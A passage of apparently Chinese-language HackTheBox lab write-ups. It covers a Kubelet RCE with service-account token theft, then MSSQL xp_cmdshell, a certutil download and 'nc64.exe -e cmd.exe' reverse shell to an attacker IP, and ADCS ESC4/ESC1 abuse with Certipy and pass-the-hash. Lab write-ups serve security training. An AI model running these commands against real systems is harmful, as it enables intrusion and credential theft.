仅存在于默认命名空间中，不是一个与 Kubernetes 相关的 pod。由于 Kubelet 允许匿名访问，我们可以使用命令 /run、/exec 和 /cri，但 curl 没用，因为它只允许 WebSocket 连接。我们可以使用 Kubeletctl 中的 scan rce 命令来确定我们是否可以在任何 pod 上运行命令。kubeletctl --server 10.10.11.133 scan rceNode with pods vulnerable to RCE NODE IP PODS NAMESPACE CONTAINERS RCE RUN 1 10.10.11.133 coredns-78fcd69978-phvsw kube-system coredns - 2 nginx default nginx + 3 kube-controller-manager-steamcloud kube-system kube-controller-manager - 4 kube-scheduler-steamcloud kube-system kube-scheduler - 5 etcd-steamcloud kube-system etcd - 6 kube-apiserver-steamcloud kube-system kube-apiserver - 7 storage-provisioner kube-system storage-provisioner - 8 kube-proxy-gb8zn kube-system kube-proxy +nginx pod 存在RCE漏洞，可以执行命令kube-proxy-gb8zn pod 也存在RCE漏洞既然结果表明可以在 Nginx pod 上执行命令。让我们看看我们是否可以在 Nginx 中运行 id。┌──(root㉿kali)-[~] └─# kubeletctl --server 10.10.11.133 exec "id" -p nginx -c nginx uid=0(root) gid=0(root) groups=0(root)命令成功执行，但似乎在这个 pod 上没有用户标志。但是我们确认了，存在 Kubelet API 未授权访问漏洞现在我们已经成功在 Nginx pod 中执行了一个命令，让我们看看是否可以访问令牌和证书，以便我们可以创建一个具有更高权限的服务帐户。接下来我们提权。kubeletctl --server 10.10.11.133 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx得到密钥eyJhbGciOiJSUzI1NiIsImtpZCI6Imx2V1ZEMWpiZ2ZRLXREWFRKc05fTVJIa3RXazdMU1FuemY1MFFfMUhQZTQifQ.[binary].VfGeHD3WvImsUL4XfwKsRnv5aBvlMrfvK9cZojYWIAn5H_kw8E_ZWTkQMuZrI_BIPs4-louyrGcegvwm4l3a9y0C4HtfDPGoEWR1uVEurjcp1nerYI-tNoMrLSqNKffHs8F-y9TaLfx2Qd6OPAUHLkxE7WYpcDGkSw1GLfa9sao-bEj0uEZpjuMESAKT1GPLj6AIU7uBxtOgYWNJrTWIHpmuYS5I-msRm6-DlPSvgYM0cphvWAsY_6kSJcJkWE9NpYlkJYyRPMmN7Q6sc5Paps517-hobkchufXunOZi1Q1zmymqaemLR4e_5otiPht5fULEKZQQmP4vD65CoTuUYgkubeletctl --server 10.10.11.133 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx得到证书-----BEGIN CERTIFICATE----- [binary] -----END CERTIFICATE----- 访问令牌和证书已经成功获取。我们可以使用这些登录到 Kubectl 并检查我们有什么样的权限。将证书保存在名为 ca.crt 的文件中，并将令牌导出为环境变量。首先将证书保存到ca.crt接着export token="eyJhbGciOiJSUzI1NiIsImtpZCI6Imx2V1ZEMWpiZ2ZRLXREWFRKc05fTVJIa3RXazdMU1FuemY1MFFfMUhQZTQifQ.[binary].VfGeHD3WvImsUL4XfwKsRnv5aBvlMrfvK9cZojYWIAn5H_kw8E_ZWTkQMuZrI_BIPs4-louyrGcegvwm4l3a9y0C4HtfDPGoEWR1uVEurjcp1nerYI-tNoMrLSqNKffHs8F-y9TaLfx2Qd6OPAUHLkxE7WYpcDGkSw1GLfa9sao-bEj0uEZpjuMESAKT1GPLj6AIU7uBxtOgYWNJrTWIHpmuYS5I-msRm6-DlPSvgYM0cphvWAsY_6kSJcJkWE9NpYlkJYyRPMmN7Q6sc5Paps517-hobkchufXunOZi1Q1zmymqaemLR4e_5otiPht5fULEKZQQmP4vD65CoTuUYg"然后运行以下命令获取 pod 列表。kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 get podsNAME READY STATUS RESTARTS AGE nginx 1/1 Running 0 3h15m默认服务帐户似乎具有一些基本权限，因此让我们使用 auth can-i 列出所有这些权限。kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 auth can-i --listResources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] pods [] [] [get create list] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get]我们可以在默认命名空间中获取、列出和创建 pod。为了创建一个 pod，我们可以使用 Nginx 镜像。让我们创建一个恶意 pod。将以下 YAML 配置保存在名为 p.yaml 的文件中。apiVersion: v1 kind: Pod metadata: name: nginxt namespace: default spec: containers: - name: nginxt image: nginx:1.14.2 volumeMounts: - mountPath: /root name: mount-root-into-mnt volumes: - name: mount-root-into-mnt hostPath: path: / automountServiceAccountToken: true hostNetwork: true我们使用相同的 Nginx 镜像，并在容器中挂载主机文件系统，以便我们可以访问它。一旦我们创建了它，我们可以使用 Kubeletctl 在 pod 中运行命令。让我们尝试应用配置并查看我们新生成的 pod 是否正在运行。创建podkubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 apply -f p.yaml回显pod/nginxt created查看pod状态kubectl --token=$token --certificate-authority=ca.crt --server=<https://10.10.11.133:8443> get pods回显NAME READY STATUS RESTARTS AGE nginx 1/1 Running 0 3h22m nginxt 1/1 Running 0 40s我们的 pod 状态良好，正在运行。现在我们可以同时获取 user 和 root flags。先获取userkubeletctl --server 10.10.11.133 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt得到489c152799a8c5137b8c52e14cd15dc7再获取root flagkubeletctl --server 10.10.11.133 exec "cat /root/root/root.txt" -p nginxt -c nginxt得到ddcc95de0703cde46ef1366ca2ace120完结撒花🎉（逃
AI摘要：该文章记录了一次域环境渗透测试，通过Nmap扫描发现目标，利用泄露的凭据访问共享文件，从中提取用户密码。随后，利用SQL Server的sa账户获取shell，发现数据库配置文件中的管理员密码。通过BloodHound分析权限，利用Ryan用户的WriteOwner权限修改CA_SVC密码，发现ADCS漏洞。最终，利用Certipy请求域管理员证书，获取NT哈希，成功以Administrator身份登录并获取root flag。虽然这篇评级是easy，但是对我来说还是蛮难的，至少是我做过的最难的easy评级了（）本机Ip：10.10.16.6目标ip：10.10.11.51首先nmap扫描nmap -sC -sV -Pn 10.10.11.51扫描结果Nmap scan report for 10.10.11.51 Host is up (0.32s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-28 09:41:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-07-28T09:38:48 |_Not valid after: 2055-07-28T09:38:48 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. | ms-sql-info: | 10.10.11.51:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:22+00:00; -7h56m06s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.95%I=7%D=7/29%Time=6887B57A%P=aarch64-unknown-linux-gnu% SF:r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07ve SF:rsion\x04bind\0\0\x10\0\x03"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-07-28T09:42:36 |_ start_date: N/A |_clock-skew: mean: -7h56m07s, deviation: 2s, median: -7h56m06s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 141.04 seconds通过扫描结果可以看出域名是sequel.htb和DC01.sequel.htb加入hostsecho "10.10.11.51 DC01.sequel.htb sequel.htb" | sudo tee -a /etc/hosts访问一下这两个域名，发现无法访问我们可以使用提供的凭据枚举当前存在的共享，rose: KxEPkKe6R8sunetexec smb 10.10.11.51 -u rose -p 'KxEPkKe6R8su' --shares枚举结果：SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su SMB 10.10.11.51 445 DC01 [*] Enumerated shares SMB 10.10.11.51 445 DC01 Share Permissions Remark SMB 10.10.11.51 445 DC01 ----- ----------- ------ SMB 10.10.11.51 445 DC01 Accounting Department READ SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin SMB 10.10.11.51 445 DC01 C$ Default share SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share SMB 10.10.11.51 445 DC01 Users READ 我们看到我们有读取权限访问Accounting Department的共享文件，我们将使用smbclient对其进行枚举impacket-smbclient sequel.htb/rose:'KxEPkKe6R8su'@10.10.11.51首先使用shares查看组，接着使用use Accounting Department选择使用财务部门，查看内容，我们看到两个Excel表格。最后用get将两个表格下载下来。Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # shares Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # shares Accounting Department ADMIN$ C$ IPC$ NETLOGON SYSVOL Users # use Accounting Department # ls drw-rw-rw- 0 Sun Jun 9 19:11:31 2024 . drw-rw-rw- 0 Sun Jun 9 19:11:31 2024 .. -rw-rw-rw- 10217 Sun Jun 9 19:11:31 2024 accounting_2024.xlsx -rw-rw-rw- 6780 Sun Jun 9 19:11:31 2024 accounts.xlsx # get accounting_2024.xlsx # get accounts.xlsx # 如果我们尝试打开accounts.xlsx文件，我们知道它已损坏┌──(root㉿kali)-[~] └─# file accounts.xlsx accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified Jun 09 2024 10:47:44, uncompressed size 681, method=deflate ┌──(root㉿kali)-[~] └─# file accounting_2024.xlsx accounting_2024.xlsx: Zip archive data, made by v4.5, extract using at least v2.0, last modified Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate尝试在 LibreOffice 中打开任一工作簿也都显示它已损坏发现是一个zip文件，但如果我们尝试解压缩unzip accounts.xlsx -d accounts unzip accounting_2024.xlsx -d accountsing经过了一番的查找，我们在accounts/xl/sharedStrings.xml发现了用户名、电子邮件和密码比较乱，让我们整理一下使用命令cat accounts/xl/sharedStrings.xml | xmllint --xpath '//*[local-name()="t"]/text()' - | awk 'ORS=NR%5?",":"\n"'; echoFirst Name,Last Name,Email,Username,Password Angela,Martin,angela@sequel.htb,angela,0fwz7Q4mSpurIt99 Oscar,Martinez,oscar@sequel.htb,oscar,86LxLBMgEWaKUnBG Kevin,Malone,kevin@sequel.htb,kevin,Md9Wlq1E5bZnVDVo NULL,sa@sequel.htb,sa,MSSQLP@ssw0rd!,创建用户和密码文档，收集这些凭据，users.txtangela oscar kevin sapassword.txt0fwz7Q4mSpurIt99 86LxLBMgEWaKUnBG Md9Wlq1E5bZnVDVo MSSQLP@ssw0rd!使用netexec检查它们是否有效netexec smb 10.10.11.51 -u users.txt -p password.txt结果：SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\kevin:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\sa:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG这表明了以下凭据:oscar:86LxLBMgEwaKUnBG。由于我们在Nmap 扫描中看到 MSSQL 端口是开放的，我们可以通过传递local-auth 选项在 MSSQL 上测试这些凭据，该选项尝试直接与MSSOL 服务进行身份验证。我们使用 sa 账户，即 SOL Server中的默认系统管理员账户。nxc mssql 10.10.11.51 -u sa -p 'MSSQLP@ssw0rd!' --local-authMSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)知道了数据库的账号密码，使用 impacket-mssqlclient 工具，连接到目标 SQL Serverimpacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.10.11.51Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (sa dbo@master)>启用xp_cmdshellenable_xp_cmdshell RECONFIGURE;INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.查看自己的权限xp_cmdshell whoamioutput -------------- sequel\sql_svc NULL本地nc开启监听，用来连接反向shellnc -lnvp 4444开启本地服务器，便于后续将nc64.exe上传到域主机python3 -m http.server 4000让域主机从本地服务器拉取nc64.exeEXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.16.6:4000/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';output --------------------------------------------------- **** Online **** 0000 ... b0d8 CertUtil: -URLCache command completed successfully. NULL拉取成功了，那么执行nc64.exe反向连接到我们的攻击机EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe -e cmd.exe 10.10.16.6 4444';得到回显，拿下shell我们先回道根目录，在桌面发现了可疑的数据库文件夹sql2019，经过探索，发现了数据库的配置文件C:\SQL2019\ExpressAdv_ENU>dir dir Volume in drive C has no label. Volume Serial Number is 3705-289D Directory of C:\SQL2019\ExpressAdv_ENU 01/03/2025 08:29 AM . 01/03/2025 08:29 AM .. 06/08/2024 03:07 PM 1033_ENU_LP 09/24/2019 10:03 PM 45 AUTORUN.INF 09/24/2019 10:03 PM 788 MEDIAINFO.XML 06/08/2024 03:07 PM 16 PackageId.dat 06/08/2024 03:07 PM redist 06/08/2024 03:07 PM resources 09/24/2019 10:03 PM 142,944 SETUP.EXE 09/24/2019 10:03 PM 486 SETUP.EXE.CONFIG 06/08/2024 03:07 PM 717 sql-Configuration.INI 09/24/2019 10:03 PM 249,448 SQLSETUPBOOTSTRAPPER.DLL 06/08/2024 03:07 PM x64 7 File(s) 394,444 bytes 6 Dir(s) 3,792,752,640 bytes free查看数据库配置文件type sql-Configuration.INI[OPTIONS] ACTION="Install" QUIET="True" FEATURES=SQL INSTANCENAME="SQLEXPRESS" INSTANCEID="SQLEXPRESS" RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS" AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE" AGTSVCSTARTUPTYPE="Manual" COMMFABRICPORT="0" COMMFABRICNETWORKLEVEL=""0" COMMFABRICENCRYPTION="0" MATRIXCMBRICKCOMMPORT="0" SQLSVCSTARTUPTYPE="Automatic" FILESTREAMLEVEL="0" ENABLERANU="False" SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS" SQLSVCACCOUNT="SEQUEL\sql_svc" SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSYSADMINACCOUNTS="SEQUEL\Administrator" SECURITYMODE="SQL" SAPWD="MSSQLP@ssw0rd!" ADDCURRENTUSERASSQLADMIN="False" TCPENABLED="1" NPENABLED="1" BROWSERSVCSTARTUPTYPE="Automatic" IAcceptSQLServerLicenseTerms=True这里很明显，我们拿到了数据库密码，还差用户名了；让我们首先查看当前系统的用户net userUser accounts for \\DC01 ------------------------------------------------------------------------------- Administrator ca_svc Guest krbtgt michael oscar rose ryan sql_svc The command completed successfully.接下来，我们使用netexec来对系统上找到的用户尝试使用来自aduser.txt文件中的凭据和密码WgSZAF6CysDObGb3对SMB服务进行身份验证。netexec smb sequel.htb -u Users.txt -p 'WqSZAF6CysDQbGb3'aduser.txtAdministrator ca_svc Guest krbtgt michael oscar rose ryan sql_svcSMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\Guest:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\krbtgt:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [-] sequel.htb\rose:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE SMB 10.10.11.51 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3我们可以看见ryan:WqSZAF6CysDQbGb3可以用来登陆接下来我们使用evil-winrm来获取shellevil-winrm -i 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3'成功获取shell接下来常规操作，从桌面拿到flag接下来我们首先使用bloodhound来收集Active Directory域的信息bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.10.11.51 -c all --zip当最后显示INFO: Done in 03M 38S INFO: Compressing output into 20250728214606_bloodhound.zip的时候，说明收集成功Ryan 拥有WriteOwner超过 CA_SVC：尝试添加影子凭证certipy shadow auto -u ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account 'ca_svc' -dc-ip 10.10.11.51不行，失败了那生成一个 zip 文件，然后我们将其加载到 BloodHound 中，这是一个工具，用于分析和可视化 Active Directory 的权限和攻击路径。查看用户 Ryan，我们可以看到他们拥有对用户 CA SVC的WriteOwner 权限。这个特权使用户 Ryan 能够控制CA SVC 账户，包括修改其属性以及更改其密码。我们继续使用Powerview更改用户ca svc的密码。# 上传 PowerView 模块，PowerView 是一个强大的域环境侦察与操作工具 upload PowerView.ps1 导入 PowerView 模块 Import-Module .\PowerView.ps1 # 给 "ryan" 用户赋予对 "ca_svc" 对象的重置密码权限（ResetPassword） Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan" # 给 "ryan" 用户赋予对 "ca_svc" 对象的重置密码权限（ResetPassword） Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan" # 将明文密码 "Password123!!" 转换为安全字符串，供后续设置密码使用 $cred = ConvertTo-SecureString "Password123!!" -AsPlainText -Force # 使用之前创建的安全字符串密码，重置 "ca_svc" 用户的密码 Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $crednetexec smb sequel.htb -u ca_svc -p 'Password123!!'SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:Password123!! STATUS_LOGON_FAILURE查看用户ca svc的属性，我们看到它们是 Cert Publishers 组的成员。从该组的描述中，我们看到该组的成员被允许将证书发布到目录。这表明存在 Active Directory 证书服务。我们随后使用 ca_svc 账户的凭据，通过 Certipy 工具枚举证书模板和配置。Certipy 是一款用于枚举和利用活动目录证书服务（ADCS）漏洞的工具。certipy find -u 'ca_svc@sequel.htb' -p 'Password123!!' -dc-ip 10.10.11.51 -stdoutCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates <...SNIP...> Certificate Temp lates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel1-dc01-CA Enabled : True Client Authentication : True Enrollment Agent : False <...SNIP...> write Property Principals : SEQUEL.HTB\domain Admins : SEQUEL.HTB\Enterprise Admins : SEQUEL.HTB\Administrator : SEQUEL.HTB\Cert Publishers [!] vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions <...SNIP...> [!] vulnerabilities ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions我们发现证书模板 DunderMifflinAuthentication 存在漏洞，因为 Cert Publishers 组拥有危险的权限。接下来，我们先修改该证书模板，使其能够被 ca_svc 账号利用。我们使用 certipy template 命令更新模板配置，同时备份原始设置。certipy template -u ca_svc@sequel.htb -p 'Password123!!' -template DunderMifflinAuthentication -save-old -dc-ip 10.10.11.51Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json' [*] Updating certificate template 'DunderMifflinAuthentication' [*] Successfully updated 'DunderMifflinAuthentication'该命令更新了证书模板，使其允许无需管理员审批即可请求证书，并确保启用了客户端身份验证（Client Authentication）扩展密钥用法（EKU）。在这种配置下，我们可以请求像 Administrator 这样高权限用户的证书。如果我们再次运行 certipy find，会发现该模板易受 ESC1、ESC2、ESC3 和 ESC4 漏洞影响。这就确认了我们能够完全利用该证书模板来模拟任何用户，包括域管理员。certipy find -u 'ca_svc@sequel.htb' -p 'Password123!!' -dc-ip 10.10.11.51 -stdoutCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority <...SNIP...> Permissions objectControl Permissions Owner : SEQUEL.HTB\Enterprise Admins Full Control Principals : SEQUEL.HTB\Authenticated Users write Owner Principals : SEQUEL.HTB\Authenticated Users write Dacl Principals : SEQUEL.HTB\Authenticated Users write Property Principals : SEQUEL.HTB\Authenticated Users [!] vulnerabilities ESC1 : 'SEQUEL.HTB\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication ESC2 : 'SEQUEL.HTB\Authenticated Users' can enroll and template can be used for any purpose ESC3 : 'SEQUEL.HTB\Authenticated Users' can enroll and template has Certificate Request Agent EKU set ESC4 : 'SEQUEL.HTB\Authenticated Users' has dangerous permissions我们可以通过请求一个冒充域administrator的证书来利用这一点。certipy req -username ca_svc@sequel.htb -p 'Password123!!' -ca sequel-DC01-CA - template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htbCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 30 [*] Got certificate with UPN 'administrator@sequel.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'然后，我们使用生成的证书以administrator身份进行身份验证，并提取administrator的 NT 哈希值。certipy auth -pfx administrator.pfx -domain sequel.htbCertipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@sequel.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff现在，我们可以使用 Evil-WinRM 和获取到的哈希值以administrator身份登录。evil-winrm -i 10.10.11.51 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ffEvil-WinRM shell v3.7 warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami sequel\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents>接下来是常规操作，从桌面拿到root flag
AI摘要：对目标IP进行Nmap扫描后，发现`cicada.htb`域名并加入hosts。通过`crackmapexec`工具，利用guest用户成功枚举SMB共享，发现HR共享目录并获取到默认密码。使用该密码成功登录用户michael.wrightson，枚举用户发现david.orelious的密码提示。利用david.orelious的密码访问DEV共享，获取Backup_script.ps1文件，得到emily.oscars的凭据并成功获取shell。利用emily.oscars的SeBackupPrivilege权限，导出SAM和SYSTEM文件，提取Administrator用户的NTLM哈希，最终通过Pass-the-Hash攻击获取Administrator权限，拿到root flag。本机ip：10.10.16.6目标ip：10.10.11.35nmap -sC -sV -Pn 10.10.11.35得到结果如下Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 03:54 (0:00:04 remaining) Nmap scan report for 10.10.11.35 Host is up (0.32s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-26 18:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: 